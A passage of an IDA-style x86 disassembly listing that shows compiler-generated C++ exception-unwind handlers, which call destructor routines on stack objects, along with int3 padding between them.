; Attributes: noreturn


SEH_40E870	proc near		; DATA XREF: sub_40E870+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E870	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED00	proc near		; DATA XREF: sub_40ED00+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ED00	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EE40	proc near		; DATA XREF: sub_40EE40+2o
		mov	eax, offset dword_440760
		jmp	sub_437AB8
SEH_40EE40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A318:				; DATA XREF: ___:004407BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A348:				; DATA XREF: ___:0040F218o
		mov	eax, offset dword_440790
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A378:				; DATA XREF: ___:0044081Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B68
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F6D0	proc near		; DATA XREF: sub_40F6D0+2o
		mov	eax, offset dword_4407F0
		jmp	sub_437AB8
SEH_40F6D0	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A568:				; DATA XREF: ___:0044097Co
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FE70	proc near		; DATA XREF: sub_40FE70+2o
		mov	eax, offset dword_440950
		jmp	sub_437AB8
SEH_40FE70	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A69B:				; DATA XREF: ___:00440A34o
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6B1:				; DATA XREF: ___:00440A44o
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6BC:				; DATA XREF: ___:00440A4Co
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6C7:				; DATA XREF: ___:00440A54o
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6D2:				; DATA XREF: ___:00440A5Co
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6DD:				; DATA XREF: ___:00440A64o
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6E8:				; DATA XREF: ___:00440A6Co
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6F3:				; DATA XREF: ___:00440A74o
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A709:				; DATA XREF: ___:00440A84o
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A714:				; DATA XREF: ___:00440A8Co
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A71F:				; DATA XREF: ___:00440A94o
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A72A:				; DATA XREF: ___:00440A9Co
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A799:				; DATA XREF: ___:00440AE4o
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7A4:				; DATA XREF: ___:00440AECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7B2:				; DATA XREF: ___:00440AF4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7C0:				; DATA XREF: ___:00440AFCo
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7E1:				; DATA XREF: ___:00440B14o
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7F7:				; DATA XREF: ___:00440B24o
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A80D:				; DATA XREF: ___:00440B34o
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A818:				; DATA XREF: ___:00440B3Co
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A823:				; DATA XREF: ___:00440B44o
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A82E:				; DATA XREF: ___:00440B4Co
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A839:				; DATA XREF: ___:00440B54o
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A84F:				; DATA XREF: ___:00440B6Co
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A85A:				; DATA XREF: ___:00440B7Co
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A865:				; DATA XREF: ___:00440B84o
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A87B:				; DATA XREF: ___:00440B9Co
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A891:				; DATA XREF: ___:00440BB4o
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8A7:				; DATA XREF: ___:00440BC4o
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8B2:				; DATA XREF: ___:00440BCCo
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8D3:				; DATA XREF: sub_410030+8o
		mov	eax, offset dword_440A08
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411930	proc near		; DATA XREF: sub_411930+2o
		mov	eax, offset dword_440C18
		jmp	sub_437AB8
SEH_411930	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4119E0	proc near		; DATA XREF: sub_4119E0+2o
		mov	eax, offset dword_440C48
		jmp	sub_437AB8
SEH_4119E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A9B8:				; DATA XREF: ___:00440CA4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A60	proc near		; DATA XREF: sub_411A60+2o
		mov	eax, offset dword_440C78
		jmp	sub_437AB8
SEH_411A60	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AA18:				; DATA XREF: ___:00440CFCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B20	proc near		; DATA XREF: sub_411B20+2o
		mov	eax, offset dword_440CD0
		jmp	sub_437AB8
SEH_411B20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411C10	proc near		; DATA XREF: sub_411C10+8o
		mov	eax, offset dword_440D28
		jmp	sub_437AB8
SEH_411C10	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AAE8:				; DATA XREF: ___:00440DD4o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4120B0	proc near		; DATA XREF: sub_4120B0+8o
		mov	eax, offset dword_440DA8
		jmp	sub_437AB8
SEH_4120B0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_43AB90:				; DATA XREF: ___:00440E74o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ABAE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ABAE:				; CODE XREF: ___:0043ABA0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412780	proc near		; DATA XREF: sub_412780+2o
		mov	eax, offset dword_440E48
		jmp	sub_437AB8
SEH_412780	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ABD8:				; DATA XREF: ___:00440EACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412A40	proc near		; DATA XREF: sub_412A40+8o
		mov	eax, offset dword_440E80
		jmp	sub_437AB8
SEH_412A40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412CE0	proc near		; DATA XREF: sub_412CE0+2o
		mov	eax, offset dword_440EB8
		jmp	sub_437AB8
SEH_412CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC18:				; DATA XREF: ___:00440F14o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC4E:				; DATA XREF: ___:00412D88o
		mov	eax, offset dword_440EE8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC7B:				; DATA XREF: ___:00440F74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4131F0	proc near		; DATA XREF: sub_4131F0+2o
		mov	eax, offset dword_440F48
		jmp	sub_437AB8
SEH_4131F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132F0	proc near		; DATA XREF: sub_4132F0+2o
		mov	eax, offset dword_440F90
		jmp	sub_437AB8
SEH_4132F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133B0	proc near		; DATA XREF: sub_4133B0+2o
		mov	eax, offset dword_440FD8
		jmp	sub_437AB8
SEH_4133B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4134A0	proc near		; DATA XREF: sub_4134A0+2o
		mov	eax, offset dword_441010
		jmp	sub_437AB8
SEH_4134A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4135E0	proc near		; DATA XREF: sub_4135E0+2o
		mov	eax, offset dword_441040
		jmp	sub_437AB8
SEH_4135E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401582
; ---------------------------------------------------------------------------


loc_43AD78:				; DATA XREF: ___:0044109Co
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413740	proc near		; DATA XREF: sub_413740+2o
		mov	eax, offset dword_441070
		jmp	sub_437AB8
SEH_413740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD98:				; DATA XREF: ___:004410D4o
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4138B0	proc near		; DATA XREF: sub_4138B0+2o
		mov	eax, offset dword_4410A8
		jmp	sub_437AB8
SEH_4138B0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADD8:				; DATA XREF: ___:00441114o
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401582

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413A80	proc near		; DATA XREF: sub_413A80+2o
		mov	eax, offset dword_4410E8
		jmp	sub_437AB8
SEH_413A80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE08:				; DATA XREF: ___:00413BB2o
		mov	eax, offset dword_441128
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE28:				; DATA XREF: ___:00441184o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE30:				; DATA XREF: ___:0044118Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43AE3B:				; DATA XREF: ___:00441194o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413C40	proc near		; DATA XREF: sub_413C40+2o
		mov	eax, offset dword_441158
		jmp	sub_437AB8
SEH_413C40	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE68:				; DATA XREF: ___:004411CCo
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413E70	proc near		; DATA XREF: sub_413E70+2o
		mov	eax, offset dword_4411A0
		jmp	sub_437AB8
SEH_413E70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEBB:				; DATA XREF: ___:00441224o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414160	proc near		; DATA XREF: sub_414160+2o
		mov	eax, offset dword_4411F8
		jmp	sub_437AB8
SEH_414160	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEF8:				; DATA XREF: ___:00441264o
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF10:				; DATA XREF: ___:004141F2o
		mov	eax, offset dword_441238
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
